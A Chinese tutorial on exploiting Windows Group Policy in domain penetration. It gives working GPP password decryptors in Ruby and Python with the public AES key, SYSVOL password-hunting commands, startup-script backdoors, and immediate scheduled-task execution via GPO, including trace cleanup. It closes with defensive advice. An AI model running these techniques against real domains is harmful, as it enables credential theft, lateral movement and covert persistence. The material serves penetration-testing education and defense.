浅析域渗透中的组策略利用
字数 1668 2025-08-25 22:58:55

域渗透中的组策略利用技术详解

0x00 组策略基础概念

组策略定义

组策略(Group Policy)是Windows NT家族操作系统的特性,用于控制用户和计算机账户的工作环境,提供操作系统、应用程序和活动目录中用户设置的集中化管理和配置。

组策略分类

  1. 本地组策略(LGP/LocalGPO): 面向独立且非域的计算机
  2. 域组策略: 面向域环境中的计算机和用户

0x01 本地组策略利用

利用方法

  1. 通过gpedit.msc打开本地组策略编辑器
  2. 路径: Windows设置脚本启动属性
  3. 将后门程序放入C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
  4. 重启后程序将以SYSTEM权限执行

特点

  • 简单易用
  • 权限高(SYSTEM)
  • 容易被安全工具检测(常见排查目录)

0x02 域组策略基础

关键目录

  1. SYSVOL目录: 存放组策略数据和脚本配置文件
    • 路径: \\DC\SYSVOL\domain\Policies
    • 域内所有用户可访问
  2. NETLOGON目录: 存放脚本信息
    • 挂载点: SYSVOL\domain\SCRIPTS

默认组策略对象(GPO)

  1. Default Domain Policy: 默认域策略
    • GUID: {31B2F340-016D-11D2-945F-00C04FB984F9}
  2. Default Domain Controllers Policy: 默认域控制器策略
    • GUID: {6AC1786C-016F-11D2-945F-00C04FB984F9}

组策略首选项(GPP)

  • Windows 2008新增功能
  • 提供20多个客户端扩展
  • 可管理本地组、用户、计划任务等
  • 简化了统一管理操作

0x03 域组策略利用技术

1. 读取脚本中的密码

利用场景:

  • 域管理员通过组策略下发包含密码的脚本

操作方法:

  1. 搜索SYSVOL下的脚本文件:
    for /r \\dc\sysvol %i in (*.vbs) do @echo %i
    for /r \\dc\sysvol %i in (*.bat) do @echo %i
    
  2. 分析找到的脚本文件,提取硬编码密码

2. GPP漏洞利用(CVE-2014-1812)

漏洞原理:

  • Windows 2008(未打补丁)的GPP功能会将密码以AES-256加密存储在XML文件中
  • 加密密钥是公开的(微软官方提供)
  • 高版本系统已修复(无法通过GPP设置密码)

利用方法:

  1. 查找敏感XML文件:

    • Groups.xml
    • Services\Services.xml
    • ScheduledTasks\ScheduledTasks.xml
    • Printers\Printers.xml
    • Drives\Drives.xml
    • DataSources\DataSources.xml
  2. 解密密码:

    • 使用Ruby脚本(gppdecrypt.rb):

      require 'openssl'
      require 'base64'
      
      def decrypt(encrypted_data)
        padding = "=" * (4 - (encrypted_data.length % 4))
        epassword = "#{encrypted_data}#{padding}"
        decoded = Base64.decode64(epassword)
        key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
        aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
        aes.decrypt
        aes.key = key
        plaintext = aes.update(decoded)
        plaintext << aes.final
        pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
        return pass
      end
      
    • 使用Python脚本(Gpprefdecrypt.py):

      from Crypto.Cipher import AES
      from base64 import b64decode
      
      key = "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b".decode('hex')
      cpassword = "加密的密码" + "=" * ((4 - len("加密的密码") % 4) % 4)
      password = b64decode(cpassword)
      o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
      print o[:-ord(o[-1])].decode('utf16')
      
  3. 自动化工具:

    • Get-GPPPassword.ps1:
      powershell-import Get-GPPPassword.ps1
      powershell Get-GPPPassword
      

3. 组策略后门利用

前提条件: 已获取域控权限

方法1: 直接下发恶意脚本

  1. 创建或修改GPO
  2. 在"启动/关闭"脚本中放入恶意程序
  3. 将GPO链接到目标OU

方法2: 通过计划任务远程执行

  1. 使用New-GPOImmediateTask.ps1脚本
    Import-Module GroupPolicy
    new-gpo -name TestGPO | new-gplink -Target "dc=test1,dc=local"
    New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "恶意命令"'
    
  2. 强制更新组策略
    Invoke-GPUpdate -Computer "目标计算机"
    
  3. 清理痕迹
    Remove-GPO -Name TestGPO
    

0x04 防御建议

  1. 针对GPP漏洞:

    • 升级到最新Windows版本
    • 删除SYSVOL中包含密码的XML文件
    • 使用LAPS(本地管理员密码解决方案)替代GPP
  2. 常规防御:

    • 定期审计组策略设置
    • 监控SYSVOL目录的异常修改
    • 限制普通用户对SYSVOL的写入权限
    • 实施最小权限原则
  3. 检测措施:

    • 使用SIEM监控组策略的异常更改
    • 定期检查计划任务和启动项
    • 实施文件完整性监控(FIM)

0x05 总结

组策略作为Windows域环境的核心管理功能,在渗透测试中提供了多种攻击面。从本地组策略的启动项利用,到域组策略的密码泄露和远程代码执行,攻击者可以借此实现权限提升和横向移动。防御者需要充分了解这些技术,才能有效保护域环境安全。

域渗透中的组策略利用技术详解 0x00 组策略基础概念 组策略定义 组策略(Group Policy)是Windows NT家族操作系统的特性,用于控制用户和计算机账户的工作环境,提供操作系统、应用程序和活动目录中用户设置的集中化管理和配置。 组策略分类 本地组策略(LGP/LocalGPO) : 面向独立且非域的计算机 域组策略 : 面向域环境中的计算机和用户 0x01 本地组策略利用 利用方法 通过 gpedit.msc 打开本地组策略编辑器 路径: Windows设置 → 脚本 → 启动 → 属性 将后门程序放入 C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup 重启后程序将以SYSTEM权限执行 特点 简单易用 权限高(SYSTEM) 容易被安全工具检测(常见排查目录) 0x02 域组策略基础 关键目录 SYSVOL目录 : 存放组策略数据和脚本配置文件 路径: \\DC\SYSVOL\domain\Policies 域内所有用户可访问 NETLOGON目录 : 存放脚本信息 挂载点: SYSVOL\domain\SCRIPTS 默认组策略对象(GPO) Default Domain Policy : 默认域策略 GUID: {31B2F340-016D-11D2-945F-00C04FB984F9} Default Domain Controllers Policy : 默认域控制器策略 GUID: {6AC1786C-016F-11D2-945F-00C04FB984F9} 组策略首选项(GPP) Windows 2008新增功能 提供20多个客户端扩展 可管理本地组、用户、计划任务等 简化了统一管理操作 0x03 域组策略利用技术 1. 读取脚本中的密码 利用场景 : 域管理员通过组策略下发包含密码的脚本 操作方法 : 搜索SYSVOL下的脚本文件: 分析找到的脚本文件,提取硬编码密码 2. GPP漏洞利用(CVE-2014-1812) 漏洞原理 : Windows 2008(未打补丁)的GPP功能会将密码以AES-256加密存储在XML文件中 加密密钥是公开的(微软官方提供) 高版本系统已修复(无法通过GPP设置密码) 利用方法 : 查找敏感XML文件 : Groups.xml Services\Services.xml ScheduledTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml 解密密码 : 使用Ruby脚本(gppdecrypt.rb): 使用Python脚本(Gpprefdecrypt.py): 自动化工具 : Get-GPPPassword.ps1: 3. 组策略后门利用 前提条件 : 已获取域控权限 方法1: 直接下发恶意脚本 创建或修改GPO 在"启动/关闭"脚本中放入恶意程序 将GPO链接到目标OU 方法2: 通过计划任务远程执行 使用New-GPOImmediateTask.ps1脚本 强制更新组策略 清理痕迹 0x04 防御建议 针对GPP漏洞 : 升级到最新Windows版本 删除SYSVOL中包含密码的XML文件 使用LAPS(本地管理员密码解决方案)替代GPP 常规防御 : 定期审计组策略设置 监控SYSVOL目录的异常修改 限制普通用户对SYSVOL的写入权限 实施最小权限原则 检测措施 : 使用SIEM监控组策略的异常更改 定期检查计划任务和启动项 实施文件完整性监控(FIM) 0x05 总结 组策略作为Windows域环境的核心管理功能,在渗透测试中提供了多种攻击面。从本地组策略的启动项利用,到域组策略的密码泄露和远程代码执行,攻击者可以借此实现权限提升和横向移动。防御者需要充分了解这些技术,才能有效保护域环境安全。